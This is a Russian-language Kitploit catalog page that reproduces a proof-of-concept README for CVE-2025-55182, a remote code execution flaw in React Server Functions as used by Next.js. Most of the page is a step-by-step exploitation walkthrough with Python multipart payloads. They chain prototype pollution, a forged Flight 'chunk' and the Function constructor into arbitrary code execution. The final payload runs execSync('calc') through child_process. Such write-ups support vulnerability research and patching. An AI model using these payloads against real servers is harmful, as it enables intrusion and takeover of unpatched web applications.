Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — PoC-эксплойт для CVE-2025-55182, демонстрирующий удалённое выполнение кода в React Server Functions через загрязнение прототипа и специально сформированный payload протокола Flight. | Kitploit
Инструменты/GitHubGitHub/msanft/cve-2025-55182
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubmsanft/cve-2025-55182

CVE-2025-55182

PoC-эксплойт для CVE-2025-55182, демонстрирующий удалённое выполнение кода в React Server Functions через загрязнение прототипа и специально сформированный payload протокола Flight.

Репозиторий
1.4k198149 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Эта уязвимость позволяет выполнять удалённый код (RCE) в серверных функциях React (Server Functions), например, в том виде, в котором их предлагает Next.js, из-за небезопасных ссылок на прототипы.

Я не эксперт в React или Next.js, поэтому относитесь ко всей информации здесь с долей скепсиса.

Предыстория

React предлагает серверные функции (Server Functions)[^1], которые можно рассматривать как своего рода RPC через HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или для выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.

React использует нечто под названием React Flight Protocol[^2] для сериализации значений, передаваемых серверным функциям.

Клиент передаёт «чанки» на сервер, например через данные формы:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Как показано выше, они могут содержать ссылки друг на друга. Приведённая выше полезная нагрузка десериализуется на сервере в следующее:

{ object: 'fruit', name: 'cherry' }

Сам формат несколько сложнее и допускает более сложную сериализацию и десериализацию, но этого достаточно для базового понимания самой уязвимости.

Уязвимость

Вплоть до этого коммита[^3] при обходе чанков в процессе разрешения ссылок, например при получении fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрошенный ключ на объекте. Это позволяло нам получить прототип объекта[^4].

Это можно продемонстрировать такой полезной нагрузкой:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Которая десериализуется в конструктор функции[^5]:

[Function: Function]

Когда чанк с ID 0 — не массив, а объект, мы можем установить ключ then в конструктор функции. Затем этот объект возвращается функцией decodeReplyFromBusboy и ожидается Next.js через await:

// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Когда она возвращает thenable, await в вызывающем коде вызовет его. Именно это происходит со следующей полезной нагрузкой:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Что приводит к такой ошибке:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Ошибка выглядит так, потому что V8 вызывает функцию, ожидаемую через await, с внутренними функциями resolve и reject, которые при вызове toString сериализуются во что-то вроде:

function () { [native code] }

Эксплуатация

Поскольку мы можем без труда получить конструктор Function, очевидный путь — найти call-гаджет, который вызывает конструктор с управляемым пользователем значением (то есть с кодом функции в виде строки), а затем вызывает возвращённую функцию.

Существует несколько мест, которые могут вызывать конструктор функции, например resolveServerReference, где id — управляемый объект, а lastIndexOf можно переопределить так, чтобы он возвращал управляемую пользователем строку (например, через Array.prototype.join), а slice можно переопределить на конструктор функции. Однако это место не работает, поскольку второй вызов .slice() передаёт число в качестве первого аргумента, которое, насколько мне известно, конструктор функции никогда не сможет обработать.

Здесь на помощь приходит блестящая идея от maple3142[^6]. Когда getChunk берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок, этот самый чанк может разрешиться в сконструированный «поддельный чанк».

Мы можем сослаться на сконструированный чанк 0 из чанка 1 с помощью синтаксиса $@, который возвращает «сырой» чанк, а не его разрешённое значение:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Совмещая это с нашим переопределением then из примера выше, мы можем сконструировать нечто вроде:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Здесь чанк 0 переопределяет собственный .then() на .then() своего же сырого представления чанка. Проще говоря, мы переопределяем собственный .then() на Chunk.prototype.then, который существует, поскольку объекты Chunk являются thenable:

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

С приведённой выше полезной нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.

Как показано выше, когда .status нашего поддельного чанка равен resolved_model:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Мы попадаем в initializeModelChunk. Здесь .value разбирается как JSON, а затем на возвращённом объекте разрешаются ссылки с использованием «внешнего» контекста наших чанков с ID 0 и 1:

function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Внутри этого мы получаем второй проход вычислений с несколько большим количеством значений, к которым у нас есть доступ, благодаря тому что внешний контекст уже разрешён.

В обработке blob-данных с префиксом $B во flight-протоколе есть call-гаджет:

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Используя специальное поле _response, мы управляем свойством response поддельного чанка:

// in initializeModelChunk
value = reviveModel(chunk._response, // ...

С помощью этого мы можем сконструировать объект с поддельными свойствами ._formData и ._prefix:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Свойство .reason необходимо добавить, чтобы обойти сбой при вызове toString в `initializeModelChunk:

var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Указывая ._formData на конструктор функции, а ._prefix на наш код, мы получаем гаджет вызова конструктора функции в десериализации blob-данных:

response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

Затем наша сконструированная функция возвращается функцией parseModelString как метод .then() поддельного чанка, который также ожидается через await, поскольку всё это происходит в единой цепочке разрешения промисов. Таким образом, возвращая thenable, наша сконструированная функция вызывается. Это и есть требуемый call-гаджет, упомянутый выше.

Собирая всё это воедино с реальной RCE-полезной нагрузкой, мы получаем примерно следующее:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}
Скачать инструмент